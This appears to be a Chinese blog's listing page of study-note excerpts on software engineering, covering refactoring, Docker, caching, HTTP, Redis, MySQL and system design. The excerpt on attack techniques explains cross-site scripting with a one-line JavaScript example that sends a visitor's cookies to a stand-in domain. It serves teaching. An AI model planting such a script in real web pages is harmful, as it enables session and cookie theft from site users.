• 暂时停更一段时间!
  • 近期网站将陆续进行前端页面改造!
  • 招募网站编辑,联系站长!

标签:学习笔记

编码实践之重构

一、第一个案例如果你发现自己需要为程序添加一个特性,而代码结构使你无法很方便地达成目的,那就先重构这个程序。在重构前,需要先构建好可靠的测试环境,确保安全地重构。重构需要以微小的步伐修改程序,如果重构过程发生错误,很容易就能发现错误。案例分析影片出租店应用程序,需要计算每位顾客的消费金额。包括三个类:Movie、Rental 和 Customer……

构建工具学习笔记

一、什么是构建工具构建工具是用于构建项目的自动化工具,主要包含以下工作:依赖管理不再需要手动导入 Jar 依赖包,并且可以自动处理依赖关系,也就是说某个依赖如果依赖于其它依赖,构建工具可以帮助我们自动处理这种依赖管理。运行单元测试不再需要在项目代码中添加测试代码,从而污染项目代码。将源代码转化为可执行文件包含预处理、编译、汇编、链接等步骤。将……

Docker学习笔记

一、解决的问题由于不同的机器有不同的操作系统,以及不同的库和组件,在将一个应用部署到多台机器上需要进行大量的环境配置操作。Docker 主要解决环境配置问题,它是一种虚拟化技术,对进程进行隔离,被隔离的进程独立于宿主操作系统和其它隔离的进程。使用 Docker 可以不修改应用程序代码,不需要开发人员学习特定环境下的技术,就能够将现有的应用程序部署在其他机……

系统设计学习笔记之消息队列

一、消息模型点对点消息生产者向消息队列中发送了一个消息之后,只能被一个消费者消费一次。发布/订阅消息生产者向频道发送一个消息之后,多个消费者可以从该频道订阅到这条消息并消费。发布与订阅模式和观察者模式有以下不同:观察者模式中,观察者和主题都知道对方的存在;而在发布与订阅模式中,发布者与订阅者不知道对方的存在,它们之间通过频道进行通信。观察……

系统设计学习笔记之缓存

一、缓存特征命中率当某个请求能够通过访问缓存而得到响应时,称为缓存命中。缓存命中率越高,缓存的利用率也就越高。最大空间缓存通常位于内存中,内存的空间通常比磁盘空间小的多,因此缓存的最大空间不可能非常大。当缓存存放的数据量超过最大空间时,就需要淘汰部分数据来存放新到达的数据。淘汰策略FIFO(First In First Out):先进先出策略……

系统设计学习笔记之攻击技术

一、跨站脚本攻击概念跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。例如有一个论坛网站,攻击者可以在上面发布以下内容:location.href="//domain.com/?c=" + document.cookie……

系统设计学习笔记之分布式

一、分布式锁在单机场景下,可以使用 Java 提供的内置锁来实现进程同步。但是在分布式场景下,需要同步的进程可能位于不同的节点上,那么就需要使用分布式锁。阻塞锁通常使用互斥量来实现:互斥量为 1 表示有其它进程在使用锁,此时处于锁定状态;互斥量为 0 表示未锁定状态。1 和 0 可以用一个整型值表示,也可以用某个数据存在或者不存在表示,存在表示……

系统设计学习笔记之系统设计基础

一、性能性能指标1. 响应时间指从某个请求发出到接收到响应消耗的时间。在对响应时间进行测试时,通常采用重复请求方式,然后计算平均响应时间。2. 吞吐量指系统在单位时间内可以处理的请求数量,通常使用每秒的请求数来衡量。3. 并发用户数指系统能同时处理的并发用户请求数量。在没有并发存在的系统中,请求被顺序执行,此时响应时间为吞吐量的倒数。例如系……

系统设计学习笔记之集群

一、负载均衡集群中的应用服务器通常被设计成无状态,用户可以请求任何一个节点(应用服务器)。负载均衡器会根据集群中每个节点的负载情况,将用户请求转发到合适的节点上。负载均衡器可以用来实现高可用以及伸缩性:高可用:当某个节点故障时,负载均衡器不会将用户请求转发到该节点上,从而保证所有服务持续可用;伸缩性:可以很容易地添加移除节点。负载均衡运行过程……

HTTP学习笔记

一、基础概念Web 基础– HTTP(HyperText Transfer Protocol,超文本传输协议)。– WWW(World Wide Web)的三种技术:HTML、HTTP、URL。– RFC(Request for Comments,征求修正意见书),互联网的设计文档。URL– URI……

Socket学习笔记

一、I/O 模型一个输入操作通常包括两个阶段:等待数据准备好从内核向进程复制数据对于一个套接字上的输入操作,第一步通常涉及等待数据从网络中到达。当所等待分组到达时,它被复制到内核中的某个缓冲区。第二步就是把数据从内核缓冲区复制到应用进程缓冲区。Unix 下有五种 I/O 模型:阻塞式 I/O非阻塞式 I/OI/O 复用(select 和……

Redis学习笔记

一、概述Redis 是速度非常快的非关系型(NoSQL)内存键值数据库,可以存储键和五种不同类型的值之间的映射。键的类型只能为字符串,值支持的五种类型数据类型为:字符串、列表、集合、有序集合、散列表。Redis 支持很多特性,例如将内存中的数据持久化到硬盘中,使用复制来扩展读性能,使用分片来扩展写性能。二、数据类型What Redis data ……

MySQL学习笔记

一、存储引擎InnoDBInnoDB 是 MySQL 默认的事务型存储引擎,只有在需要 InnoDB 不支持的特性时,才考虑使用其它存储引擎。实现了四个标准的隔离级别,默认级别是可重复读(REPEATABLE READ)。在可重复读隔离级别下,通过多版本并发控制(MVCC)+ 间隙锁(next-key locking)防止幻影读。主索引是聚簇索引,在……

SQL学习笔记

一、基础模式定义了数据如何存储、存储什么样的数据以及数据如何分解等信息,数据库和表都有模式。主键的值不允许修改,也不允许复用(不能使用已经删除的主键值赋给新数据行的主键)。SQL(Structured Query Language),标准 SQL 由 ANSI 标准委员会管理,从而称为 ANSI SQL。各个 DBMS 都有自己的实现,如 PL/SQL……

数据库系统原理学习笔记

一、事务概念事务指的是满足 ACID 特性的一组操作,可以通过 Commit 提交一个事务,也可以使用 Rollback 进行回滚。ACID1. 原子性(Atomicity)事务被视为不可分割的最小单元,事务的所有操作要么全部提交成功,要么全部失败回滚。回滚可以用日志来实现,日志记录着事务所执行的修改操作,在回滚时反向执行这些修改操作即可。2……

编码实践之代码可读性

一、可读性的重要性编程有很大一部分时间是在阅读代码,不仅要阅读自己的代码,而且要阅读别人的代码。因此,可读性良好的代码能够大大提高编程效率。可读性良好的代码往往会让代码架构更好,因为程序员更愿意去修改这部分代码,而且也更容易修改。只有在核心领域为了效率才可以放弃可读性,否则可读性是第一位。二、用名字表达代码含义一些比较有表达力的单词:单词……